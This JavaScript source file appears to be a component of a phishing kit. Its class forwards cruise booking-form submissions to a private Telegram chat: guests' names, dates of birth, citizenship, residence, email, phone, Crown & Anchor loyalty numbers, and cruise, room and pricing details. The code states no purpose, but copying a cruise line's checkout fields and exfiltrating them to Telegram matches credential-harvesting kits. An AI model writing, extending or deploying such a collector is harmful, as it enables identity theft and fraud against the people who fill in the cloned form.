const TelegramBot = require('node-telegram-bot-api');
const fs = require('fs');
const path = require('path');

class TelegramService {
  constructor(configPath = './config.json') {
    this.config = JSON.parse(fs.readFileSync(configPath, 'utf8'));
    this.bot = new TelegramBot(this.config.telegram.bot_token, { polling: false });
    this.chatId = this.config.telegram.chat_id;

    console.log('[TELEGRAM] Service initialized with chat ID:', this.chatId);
  }

  async sendFormSubmissionNotification(formData, sidePanelData = null) {
    try {
      let message = `🔔 New Guest Info Form Submission\n\n`;
      message += `📅 Timestamp: ${new Date().toISOString()}\n\n`;

      // Add cruise information first (if available)
      if (sidePanelData && (sidePanelData.cruise_title || sidePanelData.ship_name || sidePanelData.departure_port)) {
        message += `🚢 Cruise Information:\n`;
        if (sidePanelData.cruise_title) message += `• Cruise: ${this.escapeText(sidePanelData.cruise_title)}\n`;
        if (sidePanelData.ship_name) message += `• Ship: ${this.escapeText(sidePanelData.ship_name)}\n`;
        if (sidePanelData.departure_port) message += `• From: ${this.escapeText(sidePanelData.departure_port)}\n`;
        if (sidePanelData.start_date && sidePanelData.end_date) {
          message += `• Dates: ${this.escapeText(sidePanelData.start_date)} - ${this.escapeText(sidePanelData.end_date)}\n`;
        }
        message += `\n`;
      }

      // Add room information (if available)
      if (sidePanelData && (sidePanelData.room_type || sidePanelData.room_guests || sidePanelData.room_location)) {
        message += `🏠 Room Information:\n`;
        if (sidePanelData.room_guests) message += `• Guests: ${this.escapeText(sidePanelData.room_guests)}\n`;
        if (sidePanelData.room_type) message += `• Room Type: ${this.escapeText(sidePanelData.room_type)}\n`;
        if (sidePanelData.room_subtype) message += `• Room Subtype: ${this.escapeText(sidePanelData.room_subtype)}\n`;
        if (sidePanelData.room_location) message += `• Location: ${this.escapeText(sidePanelData.room_location)}\n`;
        message += `\n`;
      }

      // Add guest information
      message += `👤 Guest Information:\n`;

      // Handle GraphQL data if present
      if (formData.graphqlQuery) {
        message += `• GraphQL Query Detected\n`;
      }

      // Handle name fields (multiple possible field names)
      const firstName = formData.firstName || formData.first_name || formData.givenName || formData.given_name;
      const lastName = formData.lastName || formData.last_name || formData.familyName || formData.family_name;

      if (firstName && firstName !== '') {
        message += `• First Name: ${this.escapeText(firstName)}\n`;
      }
      if (lastName && lastName !== '') {
        message += `• Last Name: ${this.escapeText(lastName)}\n`;
      }

      // Handle gender (multiple possible field names)
      const gender = formData.gender || formData.sex;
      if (gender && gender !== '') {
        const genderDisplay = gender === 'M' || gender === 'male' ? 'Male' :
                             gender === 'F' || gender === 'female' ? 'Female' : gender;
        message += `• Gender: ${this.escapeText(genderDisplay)}\n`;
      }

      // Handle date of birth (multiple formats)
      let dateOfBirth = '';
      if (formData.dateOfBirth || formData.birthDate || formData.dob) {
        dateOfBirth = formData.dateOfBirth || formData.birthDate || formData.dob;
      } else if (formData.month || formData.day || formData.year) {
        const month = formData.month || '';
        const day = formData.day || '';
        const year = formData.year || '';
        if (month || day || year) {
          dateOfBirth = `${month}/${day}/${year}`;
        }
      }

      if (dateOfBirth) {
        message += `• Date of Birth: ${this.escapeText(dateOfBirth)}\n`;
      }

      // Handle citizenship
      if (formData.citizenship && formData.citizenship !== '') {
        const citizenshipMap = {
          'USA': 'United States',
          'UKR': 'Ukraine',
          'GBR': 'United Kingdom',
          'CAN': 'Canada'
        };
        const citizenshipDisplay = citizenshipMap[formData.citizenship] || formData.citizenship;
        message += `• Citizenship: ${this.escapeText(citizenshipDisplay)}\n`;
      }

      // Handle country of residence
      if (formData.residenceCountry && formData.residenceCountry !== '') {
        const residenceMap = {
          'USA': 'United States',
          'UKR': 'Ukraine',
          'GBR': 'United Kingdom',
          'CAN': 'Canada'
        };
        const residenceDisplay = residenceMap[formData.residenceCountry] || formData.residenceCountry;
        message += `• Country of Residence: ${this.escapeText(residenceDisplay)}\n`;
      }

      // Handle contact information
      if (formData.email && formData.email !== '') {
        message += `• Email: ${this.escapeText(formData.email)}\n`;
      }
      if (formData.phoneNumber && formData.phoneNumber !== '') {
        message += `• Phone Number: ${this.escapeText(formData.phoneNumber)}\n`;
      }

      // Add Crown & Anchor number if present
      if (formData.loyaltyNumber && formData.loyaltyNumber !== '') {
        message += `• Crown & Anchor #: ${this.escapeText(formData.loyaltyNumber)}\n`;
      }

      // Add pricing information
      if (sidePanelData && (sidePanelData.cruise_fare || sidePanelData.total_price || sidePanelData.total_savings)) {
        message += `\n💰 Pricing Information:\n`;
        if (sidePanelData.cruise_fare) message += `• Cruise Fare: ${this.escapeText(sidePanelData.cruise_fare)}\n`;
        if (sidePanelData.discount) message += `• Discount: ${this.escapeText(sidePanelData.discount)}\n`;
        if (sidePanelData.subtotal) message += `• Subtotal: ${this.escapeText(sidePanelData.subtotal)}\n`;
        if (sidePanelData.taxes_fees) message += `• Taxes & Fees: ${this.escapeText(sidePanelData.taxes_fees)}\n`;
        if (sidePanelData.total_price) message += `• Total Price: ${this.escapeText(sidePanelData.total_price)}\n`;
        if (sidePanelData.total_savings) message += `• Savings: ${this.escapeText(sidePanelData.total_savings)}\n`;

        // Add applied promos if available
        if (sidePanelData.applied_promos && sidePanelData.applied_promos.length > 0) {
          message += `• Applied Promos: ${this.escapeText(sidePanelData.applied_promos.join(', '))}\n`;
        }
      }

      // Ensure message is not too long for Telegram
      if (message.length > 4000) {
        message = message.substring(0, 3950) + '\n\n... (message truncated)';
      }

      // Send the message without markdown to avoid parsing issues
      const result = await this.bot.sendMessage(this.chatId, message, {
        disable_web_page_preview: true
      });

      console.log('[TELEGRAM] Notification sent successfully');
      return result;

    } catch (error) {
      console.error('[TELEGRAM] Error sending notification:', error.message);

      // Fallback: try sending a simplified message
      try {
        const fallbackMessage = `🔔 New Guest Info Form Submission\n\nTimestamp: ${new Date().toISOString()}\n\nForm fields: ${Object.keys(formData).join(', ')}\nSide panel data: ${sidePanelData ? 'Available' : 'Not available'}`;
        await this.bot.sendMessage(this.chatId, fallbackMessage);
        console.log('[TELEGRAM] Fallback notification sent successfully');
      } catch (fallbackError) {
        console.error('[TELEGRAM] Fallback notification also failed:', fallbackError.message);
      }

      throw error;
    }
  }

  async sendTestMessage() {
    try {
      const message = `🧪 **Test Message**\n\nTelegram service is working!\nTimestamp: ${new Date().toISOString()}`;
      const result = await this.bot.sendMessage(this.chatId, message, {
        parse_mode: 'Markdown'
      });
      console.log('[TELEGRAM] Test message sent successfully');
      return result;
    } catch (error) {
      console.error('[TELEGRAM] Error sending test message:', error.message);
      throw error;
    }
  }

  escapeText(text) {
    if (typeof text !== 'string') {
      text = String(text);
    }
    // Escape characters that might cause issues in Telegram messages
    return text.replace(/[<>]/g, '').trim();
  }
}

module.exports = TelegramService;
